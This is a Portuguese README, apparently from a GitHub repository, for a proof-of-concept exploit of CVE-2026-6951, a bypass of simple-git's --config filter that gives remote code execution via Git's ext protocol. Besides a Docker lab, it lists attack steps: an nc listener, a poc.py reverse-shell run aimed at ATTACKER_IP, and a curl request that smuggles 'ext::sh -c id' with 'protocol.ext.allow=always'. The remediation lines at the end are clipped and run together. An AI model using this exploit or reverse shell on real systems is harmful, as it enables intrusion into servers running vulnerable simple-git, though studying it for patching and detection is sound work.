
Proof-of-concept de exploit para CVE-2026-6951, um bypass do filtro --config do simple-git que permite RCE através do protocolo ext do Git, com um laboratório Docker e payload de reverse shell.
★ PoC de RCE por Bypass do Filtro da Opção --config do simple-git CVE-2026-6951 ★
https://github.com/user-attachments/assets/4c992530-c5bb-4ff4-be5d-af0857eebb67
CVE-2026-6951 é uma vulnerabilidade de execução remota de código no
simple-gitcausada por uma correção incompleta para a CVE-2022-25912. Embora a opção-ctenha sido bloqueada, a opção equivalente--confignão foi devidamente restringida. Um atacante que consiga controlar argumentos do Git pode habilitar o protocoloexte executar comandos arbitrários através de uma URL de repositórioext::.
| Categoria | Versão |
|---|---|
| Vulnerável | versões do simple-git anteriores à 3.36.0 |
| Corrigida | simple-git 3.36.0 ou posterior |
Este ambiente utiliza simple-git 3.35.2 e @simple-git/argv-parser 1.0.3.
Compile e execute o ambiente vulnerável.
docker build -t cve-2026-6951 .
docker run --rm -d --name cve-2026-6951 -p 9107:9107 cve-2026-6951
Acesse o serviço em:
http://127.0.0.1:9107
Verifique o status do serviço.
curl -s http://127.0.0.1:9107/api/health
O repositório de exemplo incorporado está disponível em:
file:///srv/git/sample.git
Inicie um listener no sistema do atacante.
nc -lvnp 4444
Execute o script de exploit.
python3 poc.py http://127.0.0.1:9107 --lhost ATTACKER_IP --lport 4444
A requisição a seguir executa o comando id abusando da opção --config irrestrita e do protocolo ext do Git.
curl -s -X POST http://127.0.0.1:9107/api/import \
-H 'Content-Type: application/json' \
--data-raw '{
"repository":"ext::sh -c id% >&2",
"name":"id-check",
"options":["--config","protocol.ext.allow=always"],
"environment":{}
}'
simple-git para a versão 3.36.0 ou posterior.simple-git.ext::.